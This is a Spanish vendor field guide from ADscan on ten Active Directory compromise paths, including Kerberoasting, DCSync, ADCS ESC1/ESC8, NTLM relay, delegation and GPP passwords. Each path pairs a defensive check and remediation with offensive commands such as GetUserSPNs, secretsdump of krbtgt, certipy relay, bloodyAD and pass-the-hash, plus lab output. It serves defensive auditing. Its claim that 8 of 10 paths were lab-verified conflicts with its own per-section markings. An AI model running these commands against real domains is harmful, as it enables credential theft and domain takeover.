ADscan

GUÍA DE CAMPO

ACTIVE DIRECTORY · GUÍA DE CAMPO

Las 10 vías de compromiso de Active Directory que veo una y otra vez

> Cómo detectarlas desde tu DC y cómo probar si son realmente explotables

Qué es esto: una guía de campo para equipos de AD y CISO de entidad regulada española (DORA, NIS2, ENS). Diez caminos que aparecen en auditoría tras auditoría, cada uno con la comprobación defensiva que corres en tu propio controlador de dominio y la verificación ofensiva que demuestra que un atacante puede usarlo de verdad.

Qué NO es: un ranking estadístico por frecuencia ("el 34% de las brechas empiezan por Kerberoasting"). Ese dato no existe de forma pública y honesta. El orden aquí es juicio de campo, no una tabla de porcentajes. Tampoco es la matriz completa de mapeo a compliance: cada vía trae un control de ejemplo, no la cobertura entera.

Introducción

El dato marco

Active Directory sigue siendo el terreno donde se juega la partida. Los números públicos verificados lo dejan claro:

- Mandiant reporta que aproximadamente 9 de cada 10 intrusiones que investigan tocan Active Directory en algún punto de la cadena. Fuente: Mandiant / Google Cloud, "M-Trends". https://cloud.google.com/security/resources/m-trends
- Semperis, en su informe de ransomware 2025, encuentra que el 83% de los ataques de ransomware comprometen sistemas de identidad, con una mediana de alrededor de 11 horas desde el acceso inicial hasta el compromiso de AD. Fuente: Semperis, "2025 Ransomware Risk Report". https://www.semperis.com/ransomware-study/
- Verizon DBIR 2025 atribuye el 22% de las brechas al abuso de credenciales como vector inicial. Fuente: Verizon, "2025 Data Breach Investigations Report". https://www.verizon.com/business/resources/reports/dbir/
- Microsoft observó un aumento del 78% en ataques operados por humanos que comprometen un controlador de dominio. Fuente: Microsoft Security Blog, 9 de abril de 2025. https://www.microsoft.com/en-us/security/blog/

La tesis: conforme no significa no explotable

Un informe de higiene te dice qué está mal configurado. Un scoring te da un número del 0 al 100. Los dos miden presencia: existe un ticket kerberoasteable, existe una ACL peligrosa, existe una plantilla de certificado abierta. Ninguno de los dos te dice si un atacante que entra hoy con una cuenta de usuario normal llega a Domain Admin.

Esa es la diferencia que recorre todo este documento. Cada vía tiene dos caras:

- Detección defensiva: lo que corres tú, en tu DC, con PowerShell nativo o herramientas de auditoría. Demuestra que la condición existe.
- Verificación ofensiva: lo que demuestra que la condición es explotable desde la posición de un atacante. No que esté presente, sino que lleva a algún sitio.

La detección demuestra presencia. La explotación demuestra explotabilidad. Puedes pasar una auditoría de configuración y seguir teniendo un camino vivo a Domain Admin, porque el auditor comprobó ajustes y el atacante encadena condiciones. Un entorno "conforme" con siete controles en verde y una delegación mal puesta sigue cayendo en una tarde.

Cada sección mapea además a un control de compliance como ejemplo (DORA Art. 21, NIS2 Art. 21.2, ENS op.acc), para que el hallazgo técnico tenga su ancla regulatoria cuando lo lleves a comité.

Cómo leer cada vía

Cada una de las diez secciones sigue la misma plantilla:

1. Qué es (en dos frases, para llevarlo a un comité sin traducirlo).
2. Por qué es tan común (la razón estructural por la que aparece en casi todos los dominios).
3. Señal observable (qué mirar antes de correr nada).
4. Detección defensiva: el comando que corres en tu DC.

5 Verificación ofensiva: lo que prueba explotabilidad.

6 Remediación, el paso concreto, no "aplique el principio de mínimo privilegio".

7 Control de compliance de ejemplo, uno, no la matriz entera.

Vía 1. Credenciales débiles y password spraying

1. Qué es. Contraseñas adivinables o reutilizadas que un atacante prueba a baja frecuencia contra muchas cuentas a la vez, evitando el bloqueo. No es fuerza bruta contra una cuenta; es una contraseña común contra todo el directorio.

2. Por qué es tan común. Las políticas de contraseña heredadas premian complejidad sobre longitud, la gente elige patrones estacionales (`Empresa2026!` , `Verano2026`), y las cuentas de servicio antiguas rara vez rotan. El umbral de bloqueo protege una cuenta, no defiende al dominio de un intento por cuenta.

3. Señal observable. Cuentas con `PasswordNeverExpires` y contraseñas sin rotar durante años, umbral de bloqueo alto o inexistente, ausencia de banned-password list, y un `badPwdCount` que sube de forma distribuida en muchas cuentas a la vez.

4. Detección defensiva. ✅ Verificado en laboratorio (GOAD essos)

```
Get-ADUser -Filter * -Properties PasswordLastSet,PasswordNeverExpires |
  Where { $_.PasswordLastSet -lt (Get-Date).AddDays(-90) -and $_.Enabled }
```

Evidencia: en el dominio todas las cuentas salieron con `PasswordNeverExpires=True` . Cruzado con la enumeración de netexec (`nxc smb <dc> -u <u> -p <p> --users` , columnas reales `Username / Last PW Set / BadPW / Description`), la cuenta `vagrant` tenía la contraseña sin rotar desde 2017.

5. Verificación ofensiva. ✅ Verificado en laboratorio (GOAD essos)

```
nxc smb 192.168.180.12 -u <usuario> -p <password> --users
```

Evidencia: la columna `Last PW Set` deja ver a simple vista las cuentas latentes (`vagrant` , sin rotar desde 2017), candidatas directas a spraying de baja frecuencia contra el resto del directorio.

6. Remediación. Longitud mínima 14+, banned-password list (Azure AD Password Protection también on-prem), bloqueo inteligente con ventana de observación, y auditoría de eventos 4771/4625 distribuidos. Rotar y auditar cuentas de servicio con `PasswordNeverExpires` .

7. Compliance (ejemplo). ENS op.acc.5 (mecanismo de autenticación) y op.acc.6 (gestión de credenciales de acceso).

Vía 2. Kerberoasting

1. Qué es. Cualquier usuario autenticado puede pedir un ticket de servicio (TGS) para una cuenta con SPN. Ese ticket va cifrado con el hash de la contraseña de la cuenta de servicio, así que el atacante lo saca offline y lo crackea sin tocar el DC otra vez.

2. Por qué es tan común. Las cuentas de servicio con SPN llevan años en el dominio, tienen contraseñas puestas a mano en su día y nunca rotadas, y muchas son miembros de grupos privilegiados "porque la aplicación lo necesitaba". RC4 sigue habilitado en la mayoría de dominios, lo que hace el crackeo trivial.

3. Señal observable. Cuentas de usuario (no gMSA) con `servicePrincipalName` poblado y tipo de cifrado que permite RC4. Un pico de eventos 4769 con RC4 es la huella.

4. Detección defensiva. ✅ Verificado en laboratorio (GOAD essos)

```
Get-ADUser -Filter {ServicePrincipalName -like '*'} -Properties
ServicePrincipalName,PasswordLastSet
```

Evidencia: salió `sql_svc` con SPN `MSSQLSvc/braavos.essos.local` y `PasswordLastSet` de 5/1/2026, una cuenta de servicio kerberoasteable.

5. Verificación ofensiva. ✅ Verificado en laboratorio (GOAD essos)

```
GetUserSPNs.py essos.local/daenerys.targaryen:'<password>' -dc-ip 192.168.180.12 -request
```

Evidencia: se obtuvo el ticket de `sql_svc` como hash `$krb5tgs$23$...` (el `23` es RC4, así que este mismo resultado prueba también la vía 10). El hash se craquea offline con `hashcat -m 13100` sin volver a tocar el DC.

6. Remediación. Migrar cuentas de servicio a gMSA (contraseñas de 120 caracteres gestionadas por AD, rotación automática). Para las que no puedan migrar, contraseña 25+ aleatoria y forzar AES. Sacar las cuentas de servicio de grupos privilegiados.

7. Compliance (ejemplo). DORA Art. 21: gestión de identidades y acceso dentro del marco de gestión de riesgos TIC.

Vía 3. Abuso de ACL / permisos peligrosos

1. Qué es. Permisos delegados sobre objetos de AD (`GenericAll` , `GenericWrite` , `WriteDacl` , `WriteOwner` , `ForceChangePassword`) que dejan a un principal de bajo privilegio tomar control de otro objeto: resetear una contraseña, añadirse a un grupo, o apoderarse de una OU entera.

2. Por qué es tan común. La delegación se hace a mano y se acumula durante años. Un helpdesk con `ForceChangePassword` sobre "todos los usuarios", un grupo anidado que hereda permisos que nadie recuerda haber dado, una OU delegada a un equipo que ya no existe. Nadie audita el DACL efectivo.

3. Señal observable. ACEs no estándar sobre objetos privilegiados o sobre el propio dominio, principals de bajo privilegio con derechos de escritura sobre grupos o cuentas de alto valor, anidamiento de grupos que oculta el privilegio efectivo.

4. Detección defensiva. Comando verificado contra documentación canónica (impacket/Certipy v5.0.4/Microsoft Learn)

```
dacledit.py -action read -target '<objetivo>' essos.local/<usuario>:'<password>' -dc-ip
192.168.180.12
```

Lee las ACEs efectivas sobre el objeto (`dacledit.py` acepta `-rights FullControl,ResetPassword,WriteMembers,DCSync,Custom`). En este lab la familia de abuso de ACL quedó cubierta end-to-end por la vía 4 (DCSync), no se ejecutó este comando concreto contra el laboratorio.

5. Verificación ofensiva. Comando verificado contra documentación canónica (impacket/Certipy v5.0.4/Microsoft Learn)

```
bloodyAD --host 192.168.180.12 -d essos.local -u <usuario> -p '<password>' add genericAll
'<objetivo>' <principal_atacante>
```

Concede `GenericAll` sobre el objeto destino desde un principal controlado; a partir de ahí el atacante resetea la contraseña, se añade al grupo o toma la OU. No ejecutado contra este laboratorio; la explotación de esta familia se demostró vía DCSync (vía 4).

6. Remediación. Revisar y retirar ACEs no justificados sobre objetos Tier 0. Sustituir delegaciones amplias por delegación granular y documentada. Auditar el anidamiento de grupos y colapsar cadenas heredadas.

7. Compliance (ejemplo). ENS op.acc.4 (proceso de gestión de derechos de acceso): revisión periódica del privilegio efectivo, no solo del asignado.

Vía 4. DCSync

1. Qué es. Un principal con los derechos de replicación de directorio (`DS-Replication-Get-Changes` y `-All`) puede pedirle al DC que le replique los hashes de contraseña de cualquier cuenta, incluida `krbtgt` . Es la extracción de credenciales del dominio entero sin tocar disco en el DC.

Conviene situarla bien: DCSync es, sobre todo, la técnica post-compromiso más habitual, la que ejecuta quien ya es Domain Admin para volcar el NTDS y crackear todos los hashes. Como vía de entrada o escalada solo aparece en un caso concreto, y por eso está en esta lista: cuando una cuenta que no es un DC tiene derechos de replicación mal concedidos (lo que se ve a continuación). Si no hay ese derecho olvidado, DCSync no es un camino hacia Domain Admin, sino lo que viene después de serlo.

2. Por qué es tan común. Los derechos de replicación se conceden a cuentas de servicio de sincronización (Azure AD Connect, backups, herramientas de migración) y luego quedan olvidados. Basta que el atacante llegue a una de esas cuentas, o a cualquier objeto con ACL que le deje concederse el derecho a sí mismo.

3. Señal observable. Principals no-DC con derechos extendidos de replicación en el DACL del dominio. Eventos 4662 con los GUID de replicación desde cuentas que no son controladores de dominio.

4. Detección defensiva. ✅ Verificado en laboratorio (GOAD essos)

```
dsacls 'DC=essos,DC=local' | Select-String 'Replicating Directory Changes All'
```

Lista los principals con el derecho `DS-Replication-Get-Changes-All` sobre el dominio. Tras conceder el derecho a un usuario raso de prueba (`adscan`), el comando lo delató como principal no-DC con replicación.

5. Verificación ofensiva. ✅ Verificado en laboratorio (GOAD essos)

```
secretsdump.py essos.local/adscan:'<password>'@192.168.180.12 -just-dc-user krbtgt
```

Evidencia: con un usuario raso (`adscan` , no Domain Admin) al que se le concedió el derecho de replicación, se replicó el hash NT de `krbtgt` (`4131063f...`) más sus claves AES. Reversión verificada: al retirar el derecho (`bloodyAD ... remove dcsync adscan` → "adscan can't DCSync anymore"), un `secretsdump` posterior falló con `0x20f7` . El laboratorio quedó limpio.

6. Remediación. Retirar los derechos de replicación de cualquier principal que no sea un DC. Cuentas de sincronización con el mínimo derecho necesario y monitorizadas. Si hubo DCSync, `krbtgt` está comprometida: doble reseteo de `krbtgt` .

7. Compliance (ejemplo). NIS2 Art. 21.2(i): políticas de control de acceso y gestión de activos; el acceso a la replicación del directorio es acceso al activo más crítico.

Vía 5. ADCS ESC1 / ESC8

1. Qué es. Servicios de Certificados mal configurados. ESC1: una plantilla deja que el solicitante especifique un SAN arbitrario, así que pide un certificado "en nombre de" un Domain Admin y autentica como él. ESC8: el endpoint web de inscripción (HTTP) es coaccionable vía NTLM relay hacia la CA.

2. Por qué es tan común. ADCS se despliega una vez, con plantillas por defecto o copiadas de una guía, y nadie vuelve a mirarlo. Las plantillas permisivas y el endpoint web sin Extended Protection for Authentication son el estado de fábrica en muchos entornos.

3. Señal observable. Plantillas con `ENROLLEE_SUPPLIES_SUBJECT` y EKU de autenticación de cliente, permisos de inscripción amplios, y el rol Web Enrollment (`certsrv`) habilitado sobre HTTP.

4. Detección defensiva. ✅ Verificado en laboratorio (GOAD essos)

```
certipy find -u adscan@essos.local -p '<password>' -dc-ip 192.168.180.12 -vulnerable -stdout
```

Evidencia: desde un usuario raso salió la CA `ESSOS-CA` en `braavos` marcada con ESC6, ESC8 (Web Enrollment sobre HTTP) y ESC11, más plantillas vulnerables a ESC9/ESC3. Enumeración verificada; el chequeo HTTP del web enrollment dio "Connection refused" hasta que el IIS de `braavos` terminó de arrancar.

5. Verificación ofensiva.

✅ Verificado en laboratorio (GOAD essos). ESC8 end-to-end; la explotación ESC1 va marcada aparte.

La cadena ESC8 completa (coerción del DC → NTLM relay → CA emite el certificado del DC) está verificada en la vía 6; ese es el resultado ofensivo real de este lab. La explotación ESC1 (subject arbitrario) se documenta con comando canónico, no ejecutado aquí:

```
# ESC1. Comando verificado contra documentación canónica (Certipy v5.0.4)
certipy req -u <usuario> -p <password> -dc-ip 192.168.180.12 -target <CA_host> -ca ESSOS-CA \
  -template <plantilla_vuln> -upn administrator@essos.local -sid <SID_dominio>-500
certipy auth -pfx administrator.pfx
```

El primer comando pide un certificado "en nombre de" `administrator` (SAN arbitrario); el segundo autentica con ese pfx. No ejecutado contra este laboratorio.

6. Remediación. ESC1: quitar `ENROLLEE_SUPPLIES_SUBJECT` de plantillas con EKU de autenticación, o restringir la inscripción y exigir aprobación del gestor. ESC8: deshabilitar Web Enrollment si no se usa, forzar HTTPS con EPA, y activar Extended Protection en la CA.

7. Compliance (ejemplo). DORA Art. 21: la PKI corporativa es infraestructura TIC crítica; su configuración entra en el marco de gestión de riesgos.

Vía 6. Coerción de autenticación + NTLM relay

1. Qué es. Se fuerza a una máquina (a menudo un DC) a autenticarse contra un host controlado por el atacante (PetitPotam, PrinterBug, Coercer), y esa autenticación NTLM se reenvía a otro servicio que no exige firma: LDAP, ADCS, o un segundo DC. El resultado va desde tomar control de un objeto hasta emitirse un certificado de DC.

2. Por qué es tan común. La firma SMB y el channel binding de LDAP no vienen forzados por defecto en dominios antiguos, y los métodos de coerción usan RPC legítimo que no se puede simplemente apagar. Es la combinación de dos ajustes flojos lo que abre el camino.

3. Señal observable. Firma SMB no requerida, channel binding LDAP en modo "none" o "when supported", EPA ausente en ADCS, y tráfico de autenticación de máquina hacia hosts que no son servidores de infraestructura.

4. Detección defensiva. `✅ Verificado en laboratorio (GOAD essos)`

```
Get-SmbServerConfiguration | Select RequireSecuritySignature
# Channel binding LDAP:
HKLM\SYSTEM\CurrentControlSet\Services\NTDS\Parameters\LdapEnforceChannelBinding (debe ser 2)
# EPA en el rol Web Enrollment de la CA (certsrv)
```

Comprueba los tres ajustes que abren el relay: firma SMB, channel binding LDAP y EPA en ADCS.

5. Verificación ofensiva.

`✅ Verificado en laboratorio (GOAD essos). Cadena completa: coerción → relay → certificado del DC`

```
# 1) Relay a la CA (root), plantilla de DC
sudo certipy relay -target 'http://192.168.180.23' -template DomainController
# 2) Coerción del DC desde un usuario RASO
nxc smb 192.168.180.12 -u adscan -p '<password>' -d essos.local -M coerce_plus -o LISTENER=<mi-ip>
```

Evidencia: `meereen` (el DC) salió vulnerable a DFSCoerce/PetitPotam/PrinterBug/MSEven ("Exploit Success" por spoolss). El DC (`MEEREEN$`) autenticó contra el relay, que lo reenvió al `certsrv` de `braavos` ; la CA emitió el certificado de la cuenta de máquina del DC (ReqID 3 → `meereen.pfx`). Un usuario sin privilegios acabó con el certificado del propio DC. Nota operativa: el IIS de `braavos` tardó unos minutos en servir `/certsrv` (hasta devolver HTTP 401 el relay daba "connection refused"). La coerción no modifica el directorio; el pfx local se borró.

6. Remediación. Forzar firma SMB y channel binding LDAP (`LdapEnforceChannelBinding`). EPA en ADCS y en cualquier endpoint HTTP autenticado. Aplicar los parches de las vías de coerción conocidas y restringir RPC donde se pueda.

7. Compliance (ejemplo). NIS2 Art. 21.2(g): higiene básica de ciberseguridad; la firma y el channel binding son controles de base, no opcionales.

Vía 7. Credenciales en shares y GPP

1. Qué es. Contraseñas guardadas en texto o cifrado reversible en recursos compartidos: scripts de despliegue, ficheros de configuración, y el clásico `cpassword` de Group Policy Preferences, cuya clave AES publicó Microsoft. Cualquier usuario del dominio con lectura sobre SYSVOL o el share las encuentra.

2. Por qué es tan común. SYSVOL es legible por todo usuario autenticado por diseño. Los GPP con contraseñas se crearon hace años y siguen en el histórico aunque ya no se apliquen. Los shares de despliegue acumulan credenciales que "eran temporales".

3. Señal observable. Ficheros `Groups.xml`, `Services.xml`, `ScheduledTasks.xml` con atributo `cpassword` en SYSVOL; strings tipo password/pwd/secret en scripts de shares abiertos; permisos de share demasiado amplios.

4. Detección defensiva. `Comando verificado contra documentación canónica` (impacket/Certipy v5.0.4/Microsoft Learn)

```
findstr /S /I cpassword \\essos.local\SYSVOL\essos.local\Policies\*.xml
```

Busca el atributo `cpassword` en todo el árbol de políticas de SYSVOL. No ejecutado contra este laboratorio.

5. Verificación ofensiva. `Comando verificado contra documentación canónica` (impacket/Certipy v5.0.4/Microsoft Learn)

```
nxc smb 192.168.180.12 -u <usuario> -p '<password>' -M gpp_password
```

El módulo localiza los ficheros GPP con `cpassword` y lo descifra con la clave AES publicada por Microsoft, devolviendo la credencial en claro. No ejecutado contra este laboratorio.

6. Remediación. Eliminar todo `cpassword` de SYSVOL (incluido el histórico), rotar cualquier credencial expuesta, y aplicar el parche KB2962486 que impide crear nuevos GPP con contraseña. Escanear shares por secretos de forma periódica y cerrar permisos.

7. Compliance (ejemplo). ENS op.acc.6: mecanismo de autenticación; una credencial legible en un share no cumple ningún requisito de custodia.

Vía 8. Delegación (unconstrained, constrained, RBCD)

1. Qué es. La delegación de Kerberos deja que un servicio actúe en nombre de un usuario. Mal puesta, se convierte en escalada. Unconstrained: el servicio guarda el TGT completo de quien lo visita (incluido un DA). Constrained y RBCD: si controlas el objeto delegante, te suplantas a cualquiera contra el servicio destino.

2. Por qué es tan común. La delegación unconstrained era la única opción en versiones antiguas y quedó en servidores heredados. RBCD se puede configurar desde el atributo `msDS-AllowedToActOnBehalfOfOtherIdentity` de un objeto, así que cualquier ACL de escritura sobre una máquina abre la puerta.

3. Señal observable. Cuentas con `TrustedForDelegation` (unconstrained) que no sean DC, `msDS-AllowedToDelegateTo` poblado en cuentas inesperadas, y `msDS-AllowedToActOnBehalfOfOtherIdentity` puesto donde no debería (RBCD).

4. Detección defensiva. `Comando verificado contra documentación canónica` (impacket/Certipy v5.0.4/Microsoft Learn)

```
Get-ADComputer -Filter {TrustedForDelegation -eq $true} -Properties TrustedForDelegation,msDS-
AllowedToDelegateTo
```

Lista las máquinas con delegación unconstrained o constrained; para RBCD, leer `msDS-AllowedToActOnBehalfOfOtherIdentity`. No ejecutado contra este laboratorio.

5. Verificación ofensiva. `Comando verificado contra documentación canónica` (impacket/Certipy v5.0.4/Microsoft Learn)

```
nxc ldap 192.168.180.12 -u <usuario> -p '<password>' --find-delegation
# RBCD si controlas la máquina delegante:
rbcd.py -delegate-to '<TARGET$>' -delegate-from '<CONTROLADA$>' -action write
essos.local/<usuario>:'<password>'
```

`--find-delegation` enumera las tres formas de delegación abusables; `rbcd.py` escribe el atributo RBCD para suplantar a cualquiera contra el servicio destino. No ejecutado contra este laboratorio.

6. Remediación. Eliminar la delegación unconstrained fuera de los DC. Marcar cuentas sensibles como `Account is sensitive and cannot be delegated` (o meterlas en Protected Users). Revisar quién tiene escritura sobre atributos de delegación de máquinas.

7. Compliance (ejemplo). DORA Art. 21: la configuración de suplantación de identidad entre servicios es control de acceso dentro del marco de gestión de riesgos TIC.

Vía 9. AS-REP roasting

1. Qué es. Cuentas con la preautenticación de Kerberos deshabilitada (`DONT_REQ_PREAUTH`) devuelven un AS-REP cifrado con el hash de su contraseña a quien lo pida, sin autenticar. El atacante lo saca offline y lo crackea, igual que en Kerberoasting pero sin necesitar ni una credencial válida para empezar.

2. Por qué es tan común. La preautenticación se desactiva para clientes antiguos o aplicaciones que no la soportan, y ese ajuste se queda. Basta una sola cuenta con `DONT_REQ_PREAUTH` y contraseña débil para dar un punto de entrada sin credenciales.

3. Señal observable. Cuentas con el flag `DONT_REQ_PREAUTH` en `userAccountControl` . Cualquiera es sospechosa; en grupos privilegiados es crítica.

4. Detección defensiva. `✅ Verificado en laboratorio (GOAD essos)`

```
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} -Properties DoesNotRequirePreAuth
```

Evidencia: salió `missandei` con `DoesNotRequirePreAuth = True` , roasteable sin ninguna credencial previa.

5. Verificación ofensiva. `✅ Verificado en laboratorio (GOAD essos)`

```
GetNPUsers.py essos.local/ -no-pass -usersfile users.txt -format hashcat -dc-ip 192.168.180.12
```

Evidencia: sin autenticar (`-no-pass`) se obtuvo el AS-REP cifrado de las cuentas con preautenticación deshabilitada. Se craquea offline con `hashcat -m 18200` .

6. Remediación. Habilitar la preautenticación de Kerberos en toda cuenta que no la necesite de verdad. En las que deban mantenerla deshabilitada, contraseña larga y aleatoria y monitorización de sus AS-REQ.

7. Compliance (ejemplo). ENS op.acc.5: mecanismo de autenticación; una cuenta sin preautenticación debilita la garantía de identidad de todo el dominio.

Vía 10. Cruce de tiers y LAPS ausente

1. Qué es. El fallo de segmentación: credenciales de administración de alto nivel usadas en máquinas de bajo nivel, y contraseñas de administrador local idénticas en todo el parque. Un atacante que compromete una estación de trabajo saca de memoria la sesión de un admin de Tier 0, o reutiliza el mismo hash de admin local en cien equipos.

2. Por qué es tan común. El modelo de tiers exige disciplina operativa que se relaja bajo presión: el admin del dominio hace RDP a un servidor para "arreglar algo rápido". Y sin LAPS, la imagen dorada deja el mismo admin local en todas las máquinas para siempre.

3. Señal observable. Cifrado débil (RC4) habilitado en cuentas de servicio y `krbtgt`, cuentas de Tier 0 con sesiones o logon events en hosts de menor tier, ausencia de LAPS (`ms-Mcs-AdmPwd` o LAPS de Windows sin poblar), y misma contraseña de admin local reutilizada (pass-the-hash lateral trivial). El RC4 es el habilitador: convierte cualquier hash roasteado en crackeo trivial y todo movimiento lateral en pass-the-hash.

4. Detección defensiva. ✅ `Verificado en laboratorio (GOAD essos)`

```
Get-ADUser -Filter {ServicePrincipalName -like '*'} -Properties msDS-SupportedEncryptionTypes
# AES forzado si (($e -band 0x18) -ne 0); si el atributo es null => RC4 permitido
```

Evidencia: `sql_svc` y `krbtgt` salieron con `msDS-SupportedEncryptionTypes = null` (RC4 permitido, `AES_forzado = False`). Con RC4 vivo, el hash roasteado de la vía 2 (`$krb5tgs$23$`) es crackeable de inmediato y el hash NT reutilizado se pasa lateralmente sin descifrar nada.

5. Verificación ofensiva. ✅ `Verificado en laboratorio (GOAD essos)`

```
GetUserSPNs.py essos.local/daenerys.targaryen:'<password>' -dc-ip 192.168.180.12 -request
# hash -> hashcat -m 13100 ; reutilización del hash NT -> nxc smb <objetivos> -H <hash>
```

Evidencia: el ticket de `sql_svc` volvió como `$krb5tgs$23$...`. El `23` es el tipo de cifrado RC4: la misma extracción que prueba el Kerberoasting demuestra que el cifrado débil está activo y hace el crackeo/pass-the-hash triviales. La ausencia de LAPS y el cruce de tiers concretos (sesiones de Tier 0 en hosts de menor tier) no se capturaron por separado en este lab.

6. Remediación. Desplegar LAPS (Windows LAPS) para contraseñas de admin local únicas y rotadas. Aplicar el modelo de tiers con cuentas de administración separadas por nivel y restricción de logon (Authentication Policies / Silos, Protected Users para Tier 0). Prohibir el logon interactivo de cuentas Tier 0 en tiers inferiores.

7. Compliance (ejemplo). NIS2 Art. 21.2(i) + ENS op.acc.4: control de acceso y segregación; el cruce de tiers rompe la separación de privilegios que ambos exigen.

Cierre

Diez vías, un patrón: cada una puede estar "documentada como riesgo aceptado" en un informe de configuración y seguir siendo un camino vivo a Domain Admin en tu red hoy. El informe te dijo que existía. No te dijo que un atacante llega desde una cuenta de usuario normal en una tarde.

Correr las detecciones defensivas de este documento te da la mitad del cuadro: la presencia. La otra mitad, la explotabilidad, es la que separa un hallazgo teórico de un riesgo real, y es la más incómoda de comprobar a mano una por una en un dominio de miles de objetos.

ADscan LITE hace ese trabajo gratis: enumera tu dominio, encuentra estas diez vías y las demás, y las mapea al control de compliance que te toca (DORA, NIS2, ENS). En vez de una lista de "esto podría ser explotable", te enseña qué camino existe de verdad desde dónde. La detección demuestra presencia; ahí ves la explotabilidad.

ADscan es free y source-available. Puedes descargarlo, leer el código y correrlo en tu propia infraestructura sin que tus datos de AD salgan de ella.

Nota de verificación: 8 de las 10 vías están verificadas con ejecución real en laboratorio (GOAD essos: Kerberoasting, DCSync con su reversión, ESC8 + coerción end-to-end hasta el certificado del DC, AS-REP roasting, cifrado débil RC4, y cuentas latentes / password spraying), incluidos los comandos defensivos y ofensivos con su salida real. Las 2 restantes (abuso de ACL suelto y credenciales en GPP/shares), más la delegación y la explotación ESC1, llevan comando verificado contra documentación canónica (impacket / Certipy v5.0.4 / Microsoft Learn), no ejecutado en este laboratorio; van marcadas como tales en su bloque. Ningún comando ni ninguna salida están inventados.